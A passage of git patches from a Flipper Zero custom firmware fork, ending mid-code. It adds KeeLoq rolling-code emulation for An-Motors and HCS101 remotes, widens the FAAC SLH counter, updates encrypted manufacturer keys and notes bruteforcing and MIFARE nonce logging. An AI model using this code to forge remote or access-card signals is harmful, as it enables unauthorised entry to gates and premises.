DOLPHIN_DEED(DolphinDeedSubGhzReceiverInfo); + subghz_scene_receiver_info_draw_widget(subghz); +} + bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event) { SubGhz* subghz = context; if(event.type == SceneManagerEventTypeCustom) { @@ -135,6 +140,10 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event) } else if(event.event == SubGhzCustomEventSceneReceiverInfoTxStop) { //CC1101 Stop Tx -> Start RX subghz->state_notifications = SubGhzNotificationStateIDLE; + + widget_reset(subghz->widget); + subghz_scene_receiver_info_draw_widget(subghz); + if(subghz->txrx->txrx_state == SubGhzTxRxStateTx) { subghz_tx_stop(subghz); } From 42aae9800f5322ffbb530bc7ce05649a7f138c0b Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Wed, 13 Jul 2022 03:38:07 +0300 Subject: [PATCH 377/461] update manifest --- assets/resources/Manifest | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 98fd24b3c..810c4791f 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1657026927 +T:1657672575 D:badusb D:dolphin D:infrared @@ -223,7 +223,7 @@ F:33b8fde22f34ef556b64b77164bc19b0:578:dolphin/L3_Lab_research_128x54/frame_8.bm F:f267f0654781049ca323b11bb4375519:581:dolphin/L3_Lab_research_128x54/frame_9.bm F:41106c0cbc5144f151b2b2d3daaa0527:727:dolphin/L3_Lab_research_128x54/meta.txt D:infrared/assets -F:d895fda2f48c6cc4c55e8a398ff52e43:74300:infrared/assets/tv.ir +F:bd53bd964d83abfe4968b2db285ee530:106933:infrared/assets/tv.ir F:a157a80f5a668700403d870c23b9567d:470:music_player/Marble_Machine.fmf D:nfc/assets F:81dc04c7b181f94b644079a71476dff4:4742:nfc/assets/aid.nfc From 4441c650c00019ff5c250112ea92fa33ad7f3b6e Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Wed, 13 Jul 2022 16:18:48 +0300 Subject: [PATCH 378/461] upd manifest --- assets/resources/Manifest | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 98fd24b3c..05c07fac0 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1657026927 +T:1657662154 D:badusb D:dolphin D:infrared @@ -223,7 +223,7 @@ F:33b8fde22f34ef556b64b77164bc19b0:578:dolphin/L3_Lab_research_128x54/frame_8.bm F:f267f0654781049ca323b11bb4375519:581:dolphin/L3_Lab_research_128x54/frame_9.bm F:41106c0cbc5144f151b2b2d3daaa0527:727:dolphin/L3_Lab_research_128x54/meta.txt D:infrared/assets -F:d895fda2f48c6cc4c55e8a398ff52e43:74300:infrared/assets/tv.ir +F:bd53bd964d83abfe4968b2db285ee530:106933:infrared/assets/tv.ir F:a157a80f5a668700403d870c23b9567d:470:music_player/Marble_Machine.fmf D:nfc/assets F:81dc04c7b181f94b644079a71476dff4:4742:nfc/assets/aid.nfc From ba630b4de2a053cb56761e79101cefbaaedb6f1f Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Wed, 13 Jul 2022 16:20:54 +0300 Subject: [PATCH 379/461] Revert "Merge remote-tracking branch 'origin/dev' into dev" This reverts commit 528a8dbad8189349f885c187b5f025a0ffdff68f. --- assets/resources/Manifest | 4 ---- 1 file changed, 4 deletions(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index ab4abb2ae..05c07fac0 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,9 +1,5 @@ V:0 -<<<<<<< HEAD T:1657662154 -======= -T:1657672575 ->>>>>>> dev D:badusb D:dolphin D:infrared From f5c4a9d6c7121f9b6453f050002ae4623d5375a0 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Wed, 13 Jul 2022 16:26:32 +0300 Subject: [PATCH 380/461] update changelog --- CHANGELOG.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index d2cfee91f..a71fb52fb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,10 +1,13 @@ ### New Update +* Update screen after sending signal in SubGhz received signals scene +* OFW: Add a FORCE=1(env var) to flash every build +* OFW: nfc: fix exit after emulation +#### Previous changes * OFW: Bluetooth Remote Additions * OFW: Save picopass as picopass or, for 26bit, as lfrfid * OFW: added gui-shift command to ducky script * OFW: CLI, threads, notifications, archive fixes * OFW: other fixes -#### Previous changes * Added 17 new mf classic keys (Hotels) (PR) * OFW: Picopass/iClass plugin new UI * OFW: NFC: On-device tag generator From b95d3a524077c264448561f592ad7de9e4dce3f8 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Wed, 13 Jul 2022 16:44:59 +0300 Subject: [PATCH 381/461] update changelog --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index a71fb52fb..54b9bea19 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,6 @@ ### New Update * Update screen after sending signal in SubGhz received signals scene +* Recompiled Universal Remote for ALL buttons (see PR #29) * OFW: Add a FORCE=1(env var) to flash every build * OFW: nfc: fix exit after emulation #### Previous changes From 2ce8b72a1e9e094e4956c8edf71d215001e6c661 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Wed, 13 Jul 2022 16:52:49 +0300 Subject: [PATCH 382/461] update readme --- .drone.yml | 1 + CHANGELOG.md | 2 +- ReadMe.md | 3 ++- 3 files changed, 4 insertions(+), 2 deletions(-) diff --git a/.drone.yml b/.drone.yml index a298864ad..2cf453436 100644 --- a/.drone.yml +++ b/.drone.yml @@ -33,6 +33,7 @@ steps: - cp assets/resources/subghz/assets/universal_rf_map sd-card/subghz/assets/universal_rf_map - cp assets/resources/subghz/assets/setting_user sd-card/subghz/assets/setting_user - cp assets/resources/nfc/assets/mf_classic_dict.nfc sd-card/nfc/assets/mf_classic_dict.nfc + - cp assets/resources/infrared/assets/tv.ir sd-card/infrared/assets/tv.ir - cp assets/resources/Manifest sd-card/Manifest - zip -r artifacts-default/sd-card-${DRONE_TAG}.zip sd-card - rm -rf sd-card diff --git a/CHANGELOG.md b/CHANGELOG.md index 54b9bea19..56f0975bb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,6 @@ ### New Update * Update screen after sending signal in SubGhz received signals scene -* Recompiled Universal Remote for ALL buttons (see PR #29) +* Recompiled Universal Remote for ALL buttons (may cause freeze while bruteforcing for 5-10sec, its ok) (see PR #29) * OFW: Add a FORCE=1(env var) to flash every build * OFW: nfc: fix exit after emulation #### Previous changes diff --git a/ReadMe.md b/ReadMe.md index 4e8adc1cc..8bfead7a5 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -31,6 +31,7 @@ Our Discord Community: * Custom plugins and games included * Extra SubGhz frequencies + extra mifare classic keys * Picopass/iClass plugin is included in releases +* Recompiled IR TV Universal Remote for ALL buttons * Other small fixes and changes See changelog in releases for latest updates! @@ -46,7 +47,7 @@ See changelog in releases for latest updates! ### Apps included: - Clock/Stopwatch [(By CompaqDisc, Stopwatch & Sound Alert By RogueMaster)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/blob/unleashed/applications/clock_app/clock_app.c) -- UniversalRF Remix [(By ESurge)(Original UniversalRF By jimilinuxguy)](https://github.com/ESurge/flipperzero-firmware-unirfremix) +- UniversalRF Remix (only RAW subghz files) [(By ESurge)(Original UniversalRF By jimilinuxguy)](https://github.com/ESurge/flipperzero-firmware-unirfremix) - Tetris [(By jeffplang)](https://github.com/jeffplang/flipperzero-firmware/tree/tetris_game/applications/tetris_game) - Spectrum Analyzer [(By jolcese)](https://github.com/jolcese/flipperzero-firmware/tree/spectrum/applications/spectrum_analyzer) - [Ultra Narrow mode & scan channels non-consecutively](https://github.com/theY4Kman/flipperzero-firmware/commits?author=theY4Kman) - Arkanoid [(By gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) From a20b9232ba4ac0512606e1613de81488cb9e23e7 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Wed, 13 Jul 2022 19:04:38 +0300 Subject: [PATCH 383/461] fix builds --- .drone.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.drone.yml b/.drone.yml index 2cf453436..a4b235caf 100644 --- a/.drone.yml +++ b/.drone.yml @@ -30,6 +30,7 @@ steps: - mkdir sd-card - mkdir -p sd-card/subghz/assets - mkdir -p sd-card/nfc/assets + - mkdir -p sd-card/infrared/assets - cp assets/resources/subghz/assets/universal_rf_map sd-card/subghz/assets/universal_rf_map - cp assets/resources/subghz/assets/setting_user sd-card/subghz/assets/setting_user - cp assets/resources/nfc/assets/mf_classic_dict.nfc sd-card/nfc/assets/mf_classic_dict.nfc From d838bbdd36af78842d32782b2c194ec5d9b7ae15 Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Thu, 14 Jul 2022 22:44:52 +0300 Subject: [PATCH 384/461] An-Motors and HCS101 rolling emulation --- lib/subghz/protocols/keeloq.c | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index 596210753..92c7f3562 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -145,6 +145,10 @@ static bool subghz_protocol_keeloq_gen_data(SubGhzProtocolEncoderKeeloq* instanc code_found_reverse = subghz_protocol_blocks_reverse_key( instance->generic.data, instance->generic.data_count_bit); hop = code_found_reverse & 0x00000000ffffffff; + } else if(strcmp(instance->manufacture_name, "AN-Motors") == 0) { + hop = (instance->generic.cnt & 0xFF) << 24 | (instance->generic.cnt & 0xFF) << 16 | (instance->generic.btn & 0xF) << 12 | 0x404; + } else if(strcmp(instance->manufacture_name, "HCS101") == 0) { + hop = instance->generic.cnt << 16 | (instance->generic.btn & 0xF) << 12 | 0x000; } else { for M_EACH(manufacture_code, *subghz_keystore_get_data(instance->keystore), SubGhzKeyArray_t) { @@ -847,9 +851,11 @@ static void subghz_protocol_keeloq_check_remote_controller( if((key_hop >> 24) == ((key_hop >> 16) & 0x00ff) && (key_fix >> 28) == ((key_hop >> 12) & 0x0f) && (key_hop & 0xFFF) == 0x404) { *manufacture_name = "AN-Motors"; + mfname = *manufacture_name; instance->cnt = key_hop >> 16; } else if((key_hop & 0xFFF) == (0x000) && (key_fix >> 28) == ((key_hop >> 12) & 0x0f)) { *manufacture_name = "HCS101"; + mfname = *manufacture_name; instance->cnt = key_hop >> 16; } else { subghz_protocol_keeloq_check_remote_controller_selector( From 4074aa7d388ea87c95d5e39970012f961214eff4 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Fri, 15 Jul 2022 10:26:05 +0300 Subject: [PATCH 385/461] update changelog --- CHANGELOG.md | 6 +++++- ReadMe.md | 2 ++ 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 56f0975bb..23562937f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,9 +1,13 @@ ### New Update +* An-Motors and HCS101 keeloq emulation +* OFW: IR: increase raw timings amount +* OFW: Move files from /int to /ext on SD mount +* OFW: Embedded arm-none-eabi toolchain (+ fixed - fbt.cmd runs submodule update anyways ignoring FBT_NO_SYNC) +#### Previous changes * Update screen after sending signal in SubGhz received signals scene * Recompiled Universal Remote for ALL buttons (may cause freeze while bruteforcing for 5-10sec, its ok) (see PR #29) * OFW: Add a FORCE=1(env var) to flash every build * OFW: nfc: fix exit after emulation -#### Previous changes * OFW: Bluetooth Remote Additions * OFW: Save picopass as picopass or, for 26bit, as lfrfid * OFW: added gui-shift command to ducky script diff --git a/ReadMe.md b/ReadMe.md index 8bfead7a5..56726b0ff 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -37,6 +37,8 @@ Our Discord Community: See changelog in releases for latest updates! ### Current modified and new SubGhz protocols list: +- HCS101 +- An-Motors - CAME Atomo - FAAC SLH (Spa) - Keeloq(+ proper manufacturer codes selection) From 420af35f89ea0e5f03357295225ad7bfa1727ffa Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Sun, 17 Jul 2022 08:05:09 +0300 Subject: [PATCH 386/461] FAAC SLH/Spa 20-bits counter --- applications/subghz/scenes/subghz_scene_set_cnt.c | 4 ++-- applications/subghz/scenes/subghz_scene_set_seed.c | 7 ++++--- applications/subghz/subghz_i.h | 2 +- lib/subghz/protocols/faac_slh.c | 14 ++++++-------- lib/subghz/protocols/faac_slh.h | 2 +- 5 files changed, 14 insertions(+), 15 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_cnt.c b/applications/subghz/scenes/subghz_scene_set_cnt.c index 3bd39b341..718e055db 100644 --- a/applications/subghz/scenes/subghz_scene_set_cnt.c +++ b/applications/subghz/scenes/subghz_scene_set_cnt.c @@ -13,14 +13,14 @@ void subghz_scene_set_cnt_on_enter(void* context) { // Setup view ByteInput* byte_input = subghz->byte_input; - byte_input_set_header_text(byte_input, "Enter COUNTER in hex"); + byte_input_set_header_text(byte_input, "Enter COUNTER in hex, 20bits"); byte_input_set_result_callback( byte_input, subghz_scene_set_cnt_byte_input_callback, NULL, subghz, subghz->txrx->secure_data->cnt, - 2); + 3); view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); } diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index 5d8f29715..8e582f442 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -36,8 +36,9 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { subghz->txrx->secure_data->fix[0] << 24 | subghz->txrx->secure_data->fix[1] << 16 | subghz->txrx->secure_data->fix[2] << 8 | subghz->txrx->secure_data->fix[3]; - uint16_t cnt = subghz->txrx->secure_data->cnt[0] << 8 | - subghz->txrx->secure_data->cnt[1]; + uint32_t cnt = subghz->txrx->secure_data->cnt[0] << 16 | + subghz->txrx->secure_data->cnt[1] << 8 | + subghz->txrx->secure_data->cnt[2]; uint32_t seed = subghz->txrx->secure_data->seed[0] << 24 | subghz->txrx->secure_data->seed[1] << 16 | @@ -52,7 +53,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { subghz->txrx->fff_data, fix_part >> 4, fix_part & 0xf, - cnt, + (cnt & 0xFFFFF), seed, "FAAC_SLH", 868350000, diff --git a/applications/subghz/subghz_i.h b/applications/subghz/subghz_i.h index 595a70b3c..18173febf 100644 --- a/applications/subghz/subghz_i.h +++ b/applications/subghz/subghz_i.h @@ -43,7 +43,7 @@ typedef struct { uint8_t fix[4]; - uint8_t cnt[2]; + uint8_t cnt[3]; uint8_t seed[4]; } SecureData; diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 290c7d5d5..382fb9009 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -123,11 +123,9 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst fixx[i] = (fix >> (shiftby -= 4)) & 0xF; } if((instance->generic.cnt % 2) == 0) { - decrypt = fixx[6] << 28 | fixx[7] << 24 | fixx[5] << 20 | fixx[1] << 16 | - instance->generic.cnt; + decrypt = fixx[6] << 28 | fixx[7] << 24 | fixx[5] << 20 | (instance->generic.cnt & 0xFFFFF); } else { - decrypt = fixx[2] << 28 | fixx[3] << 24 | fixx[4] << 20 | fixx[1] << 16 | - instance->generic.cnt; + decrypt = fixx[2] << 28 | fixx[3] << 24 | fixx[4] << 20 | (instance->generic.cnt & 0xFFFFF); } for M_EACH(manufacture_code, *subghz_keystore_get_data(instance->keystore), SubGhzKeyArray_t) { @@ -155,7 +153,7 @@ bool subghz_protocol_faac_slh_create_data( FlipperFormat* flipper_format, uint32_t serial, uint8_t btn, - uint16_t cnt, + uint32_t cnt, uint32_t seed, const char* manufacture_name, uint32_t frequency, @@ -164,7 +162,7 @@ bool subghz_protocol_faac_slh_create_data( SubGhzProtocolEncoderFaacSLH* instance = context; instance->generic.serial = serial; instance->generic.btn = btn; - instance->generic.cnt = cnt; + instance->generic.cnt = (cnt & 0xFFFFF); instance->generic.seed = seed; instance->manufacture_name = manufacture_name; instance->generic.data_count_bit = 64; @@ -414,7 +412,7 @@ static void subghz_protocol_faac_slh_check_remote_controller( break; } } - instance->cnt = decrypt & 0xFFFF; + instance->cnt = decrypt & 0xFFFFF; } uint8_t subghz_protocol_decoder_faac_slh_get_hash_data(void* context) { @@ -493,7 +491,7 @@ void subghz_protocol_decoder_faac_slh_get_string(void* context, string_t output) output, "%s %dbit\r\n" "Key:%lX%08lX\r\n" - "Fix:%08lX Cnt:%04X\r\n" + "Fix:%08lX Cnt:%05X\r\n" "Hop:%08lX Btn:%lX\r\n" "Sn:%07lX Sd:%8X", instance->generic.protocol_name, diff --git a/lib/subghz/protocols/faac_slh.h b/lib/subghz/protocols/faac_slh.h index 288892191..cc36e12b7 100644 --- a/lib/subghz/protocols/faac_slh.h +++ b/lib/subghz/protocols/faac_slh.h @@ -42,7 +42,7 @@ bool subghz_protocol_faac_slh_create_data( FlipperFormat* flipper_format, uint32_t serial, uint8_t btn, - uint16_t cnt, + uint32_t cnt, uint32_t seed, const char* manufacture_name, uint32_t frequency, From 27b352a20019e8516854aa52ce50f2104013b54d Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Sun, 17 Jul 2022 11:09:30 +0300 Subject: [PATCH 387/461] increase hold duration --- lib/subghz/protocols/keeloq.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index 92c7f3562..1a9be83c7 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -110,7 +110,7 @@ void* subghz_protocol_encoder_keeloq_alloc(SubGhzEnvironment* environment) { instance->generic.protocol_name = instance->base.protocol->name; instance->keystore = subghz_environment_get_keystore(environment); - instance->encoder.repeat = 10; + instance->encoder.repeat = 100; instance->encoder.size_upload = 256; instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration)); instance->encoder.is_runing = false; From 7bdca47e5b7deb313cc8bef0add4699bd789ea98 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Mon, 18 Jul 2022 09:57:22 +0300 Subject: [PATCH 388/461] update changelog --- CHANGELOG.md | 7 +++++++ assets/resources/Manifest | 4 ++-- 2 files changed, 9 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 23562937f..8eb43b351 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,12 @@ ### New Update * An-Motors and HCS101 keeloq emulation +* FAAC SLH/Spa counter fix, now it uses 20-bits +* Keeloq increased hold duration +* OFW: Update bad_usb_script.c to fix incorrect ALT key +* OFW: SubGhz: add new keeloq protocols (IronLogic, Comunello, Sommer(fsk476), Normstahl, KEY, EcoStar, Gibidi, Mutancode) +* OFW: Better crash handling +* OFW: ibutton, Infrared, LFRFID GUI fixes +* OFW: Log MFC nonces for use with mfkey32v2 * OFW: IR: increase raw timings amount * OFW: Move files from /int to /ext on SD mount * OFW: Embedded arm-none-eabi toolchain (+ fixed - fbt.cmd runs submodule update anyways ignoring FBT_NO_SYNC) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 05c07fac0..16b8caa5e 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1657662154 +T:1658127287 D:badusb D:dolphin D:infrared @@ -232,7 +232,7 @@ F:41b4f08774249014cb8d3dffa5f5c07d:1757:nfc/assets/currency_code.nfc F:12674515290ad9edcabc82f7695350f8:50737:nfc/assets/mf_classic_dict.nfc D:subghz/assets F:dda1ef895b8a25fde57c874feaaef997:650:subghz/assets/came_atomo -F:610a0ffa2479a874f2060eb2348104c5:2712:subghz/assets/keeloq_mfcodes +F:788eef2cc74e29f3388463d6607dab0d:3264:subghz/assets/keeloq_mfcodes F:9214f9c10463b746a27e82ce0b96e040:465:subghz/assets/keeloq_mfcodes_user F:653bd8d349055a41e1152e557d4a52d3:202:subghz/assets/nice_flor_s F:48c763d616f95e319388e62e0d7cc49f:850:subghz/assets/setting_user From 8e7246ae8c2c3a87f0d5f6e4f70ddd33cdd34c60 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Mon, 18 Jul 2022 10:10:26 +0300 Subject: [PATCH 389/461] update changelog --- CHANGELOG.md | 30 +----------------------------- 1 file changed, 1 insertion(+), 29 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 8eb43b351..2e127e606 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,4 +1,4 @@ -### New Update +### New changes * An-Motors and HCS101 keeloq emulation * FAAC SLH/Spa counter fix, now it uses 20-bits * Keeloq increased hold duration @@ -10,31 +10,3 @@ * OFW: IR: increase raw timings amount * OFW: Move files from /int to /ext on SD mount * OFW: Embedded arm-none-eabi toolchain (+ fixed - fbt.cmd runs submodule update anyways ignoring FBT_NO_SYNC) -#### Previous changes -* Update screen after sending signal in SubGhz received signals scene -* Recompiled Universal Remote for ALL buttons (may cause freeze while bruteforcing for 5-10sec, its ok) (see PR #29) -* OFW: Add a FORCE=1(env var) to flash every build -* OFW: nfc: fix exit after emulation -* OFW: Bluetooth Remote Additions -* OFW: Save picopass as picopass or, for 26bit, as lfrfid -* OFW: added gui-shift command to ducky script -* OFW: CLI, threads, notifications, archive fixes -* OFW: other fixes -* Added 17 new mf classic keys (Hotels) (PR) -* OFW: Picopass/iClass plugin new UI -* OFW: NFC: On-device tag generator -* OFW: Add GPIO control through RPC -* OFW: Added Javacard Emulated mifare classic 1K compatibility -* Fixed picopass/iclass reader plugin build & included keys into plugin(from OFW PR) -* OFW: SubGhz keypad lock -* OFW: picopass/iclass reader plugin -* OFW: NFC emulation software tunning -* OFW: ToolChain versioning, better Windows support -* OFW: NFC: add Mifare Infineon -* OFW: some FBT fixes -* Merged latest ofw changes - scons build system -* Removed WAV Player - it's not bad as a concept but has a lot of problems -* Some small fixes -* Spectrum Analyzer - show current mode on screen when changing modes -* Spectrum Analyzer - Ultra Narrow mode -* Desktop autolock more time options From 87cfec3e5d5f295463db1cfd4149a5de2724c781 Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Wed, 20 Jul 2022 16:37:55 +0300 Subject: [PATCH 390/461] FAAC SLH correct seed view --- lib/subghz/protocols/faac_slh.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 382fb9009..6d91fe9b2 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -493,7 +493,7 @@ void subghz_protocol_decoder_faac_slh_get_string(void* context, string_t output) "Key:%lX%08lX\r\n" "Fix:%08lX Cnt:%05X\r\n" "Hop:%08lX Btn:%lX\r\n" - "Sn:%07lX Sd:%8X", + "Sn:%07lX Sd:%08lX", instance->generic.protocol_name, instance->generic.data_count_bit, (uint32_t)(instance->generic.data >> 32), From e57e20d1f9387e3353c348989054c16fbbb3b764 Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Wed, 20 Jul 2022 17:04:26 +0300 Subject: [PATCH 391/461] Add new keys: FAAC SLH/Spa and BFT Mitto/Secure --- assets/resources/subghz/assets/keeloq_mfcodes | 36 +++++++++---------- 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/assets/resources/subghz/assets/keeloq_mfcodes b/assets/resources/subghz/assets/keeloq_mfcodes index f9771285e..a1b36da9d 100644 --- a/assets/resources/subghz/assets/keeloq_mfcodes +++ b/assets/resources/subghz/assets/keeloq_mfcodes @@ -28,21 +28,21 @@ F053CF5255AD2E1875A5C38635F7BF203B1DAE1433B162C30AE8695AC8A5589D B7EFC77FFA98B173E429B3566A27842C4DC5E91B0BC01F07A6A98332C4E1F42A D7C7950FFB2C5E7D9BCDBC230BF5F1BFFC0FE6F1CF5C8C6013DD90E41AE403FE 50667B2E5909FD5F9D6385788A81DE5F72E56512EAD6BF5EACCA959CB6AF0DEF -6435E07E5E952124B0F80F76E0F68265B8289087387E35C6D51831B299335480 -D7DE1F7748FB8BF90561151CC6AEADC160CA883FE5228768A3737A89F358AF58 -FA206F860C6F981FD4A358FDEA5E1860353406D8416FF2A811D17EBA09C803EA -F2F7B2C6705D1457315F2AAA859AB53592241D63B84C045BC742D220BA110144 -3F0E05E572D1DF5E2B0BBB20EF8F3EB4D198CDF2794F86089E1DB0EF975E9337 -7D54D088C22AA3BA9A97FAB64371B8D512CDEC2A4355116BE2B74BCEC7FEC852 -0FD951F13E19F0FC1A25655DA430640034BE34659C526238E62B6042691998CB -FCA04B0BF98FA89AAEF41A78AE7141EF7783E0D0CBAAB1B6F00C0AD3EAA84A54759D46E1A9BEEDCCE68BA12902802111 -6AD801CE08D58A380B689574BD7FCACC5DF768BDD93AD7EE1AA514A2351EF13A -0A820F47699AFC4A5E3285BF521771FC5B6C5FB7C6C08A1990DA3B3A6766E860 -A7AAC90972DB24D20B57DDD46DC2624FC6169D529426E64B0544AC383799BB2A -AF6088873BC71ED672FA39D50B386523825218C43CDB35D691B0C5895B7EF5C2 -774DFAC8D285241368CB377DA947D7A94951A1520017DF77FE2E6A517D5C6A1FC768BB1E2398F5AF71B10D1806C04CCD -AA788A707E64C40E2A0EB8154FE795EAC68B936FD6BAC5DEF7677A4D5FE344DD -A193EF5D1B223B0FA3C231052EDBDD7A31B0C192BCD8E7E37E11D4D899476ACD -F6986E08949122D46BFA7F218B089E8DB00DCFA6971C5F2468CDDD179E5BBC40 -EDC23A07689EF6229081D1AB9E249E68527BD33EB72C242BA97727E64AF15BCC -70CC64359A2A5DE40D5A30E916DE6532BCC511E7489CD3A2E5DEC269D303FDBD83B7EA14BF13B40E3C960C6D3D12774B +6BDDE1EA185EA975343C161DF358E0AE71007DE13EE8CD26683C28B21470B910 +8128188D151CB4D465427768BF811B1AF5345801BF6F5C937A11F0485F90CA46 +9FF6331E570479788C2D61916DB48DDE534F8C049056D4E3216ADCB37C9556A6 +0636731CB79FC7459BAFA37E704D58765551631F3936892FD244CF989127540A +ECB48EF5C599D4A5F1FD39A62A06EF910B1B4973BFBFDFEF61F00C81E87847BA +AAC73DC804600A04BD962F7C5B9ACA99F3769EED9F2DD7AF8338E7220271090F +3EA4D2329D0BA54E80AF71966BD74CB13C21DF8010EE795BCCCE6A580EC05758 +F491DE599DA31EA9A51509B69846C6C1FB6AB5BBE3AA5915D51225F205A55EC2 +54347F82D73E4B66569DAAB52B03EB5A6440F9FDFD302454B84B4E41E0E7E55C +28BBAB93FEB24CE27C47B068C065A294758CECBC3531FA691D085D2B10D189616DB074AC6F8D75BBE176A9459347968C +61260BD3C4FCEF8208CC88682032E4FE295F8D000998302AD11D8D643A30EC4F +97309829406F5CF8FA15565F8F6CF53DEA0E5C0B59DD657A2BB1F58FBCF3DF7F +EA622706F837A37D84D806F15E73D6B95658129F9E12170587200BFB8BDBAEEA +67EAFE49F7872D6EBDB4127E5107D9EB147393038DBAC4D6C4916AD7668C463D +65D7D3225DEAE1BA33F1EAB6F14E817C9D47646123E02C9D4C1BEAF46DD9DF547FE9AD432E1CD648165AE10D7D240B88 +223158904F64C174A87ED14F1CACB86DA9AD7D0ED32AEB2A7E955715498969FB +9CA01D5797B93547F246CB06EDD96CABECE27E0BAB6D090681B63E83AD4F2167 +AD0BF3A0C1ECDF869BF3022AAA0065941F1D354CCE346B47740D2794FD042D47 \ No newline at end of file From 0b27881baee216ecaec6950aeb4418d70011f352 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Wed, 20 Jul 2022 19:01:38 +0300 Subject: [PATCH 392/461] update custom apps / use furi --- applications/arkanoid/arkanoid_game.c | 25 +++++++------ applications/clock_app/clock_app.c | 24 +++++++------ .../music_player/music_player_worker.c | 2 +- .../spectrum_analyzer/spectrum_analyzer.c | 34 +++++++++--------- .../spectrum_analyzer_worker.c | 4 +-- applications/tetris_game/tetris_game.c | 28 +++++++-------- applications/tictactoe_game/tictactoe_game.c | 26 +++++++------- applications/unirfremix/unirfremix_app.c | 36 +++++++++---------- 8 files changed, 92 insertions(+), 87 deletions(-) diff --git a/applications/arkanoid/arkanoid_game.c b/applications/arkanoid/arkanoid_game.c index 2896ff7a6..19110f995 100644 --- a/applications/arkanoid/arkanoid_game.c +++ b/applications/arkanoid/arkanoid_game.c @@ -304,18 +304,18 @@ static void arkanoid_draw_callback(Canvas* const canvas, void* ctx) { release_mutex((ValueMutex*)ctx, arkanoid_state); } -static void arkanoid_input_callback(InputEvent* input_event, osMessageQueueId_t event_queue) { +static void 